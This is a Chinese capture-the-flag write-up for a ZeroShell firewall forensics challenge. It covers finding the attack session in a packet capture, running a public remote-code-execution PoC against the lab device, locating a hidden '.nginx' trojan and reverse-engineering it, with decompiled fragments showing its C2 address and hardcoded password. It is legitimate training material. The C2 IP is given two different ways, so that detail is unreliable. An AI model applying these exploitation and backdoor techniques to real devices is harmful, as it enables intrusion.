第十八届全国大学生 信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛(防护赛)初赛复现之一——zeroshell
zeroshell1
从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag,结果提交形式:flag{x}
小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。 (本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z,解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce
数据包只有在这一道题能够用到,而且它的数据包容量非常大,一个一个找属实是浪费时间。所以我们使用一把梭工具。

然后把得到的base614字符串解密就可以得到flag。

flag:flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zeroshell2
通过漏洞利用获取设备控制权限,然后査找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}
题目说明我们需要寻找漏洞,于是我们可以bing搜索zeroshell漏洞

它有现成的poc,但是是Python2的代码,我们可以让ai转成python3的代码
1 | import requests |
控制台输入python xx.py -u http://61.139.2.100
[^虚拟机部署文档已经详细说明了部署方式,我不再赘述]:

现在即可命令执行
于是我们可以寻找flag
find / -name "flag"

需要大量访问文件的操作会执行的很慢,上面的步骤好像执行了快五六分钟。
所以,访问这个flag即可。记住_DB.001这个文件夹,会考
cat /DB/_DB.001/flag
flag:flag{c6045425-6e6e-41d0-be09-95682a4f65c4}
zeroshell3
找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxx},如flag{www.abc.com} 或 flag(16.122.33.44)
使用netstat检查netstat -tnp列出所有的TCP连接与进程

多试几次,你会发现在一堆127.0.0.1中冒出了个61.139.2.100,它外联着202.155.89.103。这说明木马已经启动
flag:flag{202.155.89.103}
zeroshell5
请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
首先,我们可以确定的是,木马本体文件90%是隐藏的。毕竟,没有哪个蠢蛋会把这种东西摆在明面上
find / -name ".*"

同时,我们发现.nginx同时出现在临时文件/tmp和/_DB.001中,并且命名很可疑。进一步·确定答案,使用ls -al /DB/_DB.001

同时,作为一个elf文件竟然没有x权限,非常可疑

flag:flag{.nginx}
zeroshell5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}
我们使用DiskGenius_Pro来提取主办方给的虚拟机的文件的数据。基于上面的题目,我们已经知道木马文件是.nginx,所以我们提取他

右键复制到桌面即可,然后用ida打开。shift+f12查找字符串

在查找字符串的时候,你发现了第二题让你找的外联IP地址。说明这个IP地址所在的函数可能就是外联通信函数。加密密钥可能就在那里。

当然,如果你不考虑那三次的试错成本的话,在这个IP地址的下方有一个注释,突兀的就像他就是密钥一样
1 | if ( !v9 ) |
当然最保险的方法还是把这个函数大体分析一遍。看不懂就交给ai呗
这是一个用C语言编写的函数,看起来像是一个后门或恶意软件的核心逻辑。让我逐步分析这个函数的功能:
函数整体逻辑
这个函数主要实现了一个隐藏的bash shell后门,通过特定验证后提供不同的功能。
详细代码分析
初始设置
1 | sub_80482E0(*a2, 0, strlen(*a2)); |
- 首先清空参数,然后替换为
/bin/bash - 这可能是为了隐藏真实目的
进程检查
1 | v2 = sub_8063EB0(); // 可能是getpid()或类似函数 |
- 检查进程状态,失败则返回错误码1
网络连接建立
1 | v7 = sub_8068AD0("202.115.89.103"); // 连接到固定IP |
- 连接到硬编码的IP地址
202.115.89.103 - 这明显是一个C&C服务器的连接
认证流程
1 | if (sub_8049C93(v6, off_81130C0) == 1) // 密码验证 |
- 验证密码,硬编码密码可能是
"11223344qweasdzxc"
功能分发
认证成功后,根据接收到的命令执行不同功能:
1 | switch (n3) { |
安全风险分析
- 隐藏后门:伪装成bash进程
- 硬编码C&C服务器:固定连接到
202.115.89.103 - 硬编码密码:使用固定认证密码
- 远程控制:支持多个远程命令执行
- 持久化:包含进程管理和重连逻辑
返回码含义
1: 进程检查失败8-9: 权限或状态错误10: 密码验证失败11: 命令验证失败12: 未知命令- 其他:具体功能执行结果
这是一个典型的恶意软件后门实现,具备完整的C&C通信、认证和命令执行能力。
所以说flag已经很明了了。
flag:flag{11223344qweasdzxc}
zeroshell6
请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}
在第三题寻找木马文件的过程中,我提到过,它是一个elf可执行文件,但是没有可执行权限。所以如果启动项要启动木马的话,那必定会有诸如像chmod +x /.nginx这样的指令。刚好Sublime Text可以搜索文件内容,我们可以利用这一点找到启动项
首先把整个_DB.001提取出来,具体步骤和第五题提取.nginx一模一样。然后把桌面上的文件夹拖入Sublime Text
全局搜索ctrl+shift+f

因此flag:flag{\_DB.001\var\register\system\startup\scripts\nat\File}
说一下Linux和Windows的文件路径的分隔符不太一样。Windows用的是反斜杠,Linux用的是正斜杠。但是我懒得改了,你们写的时候自己改一下。





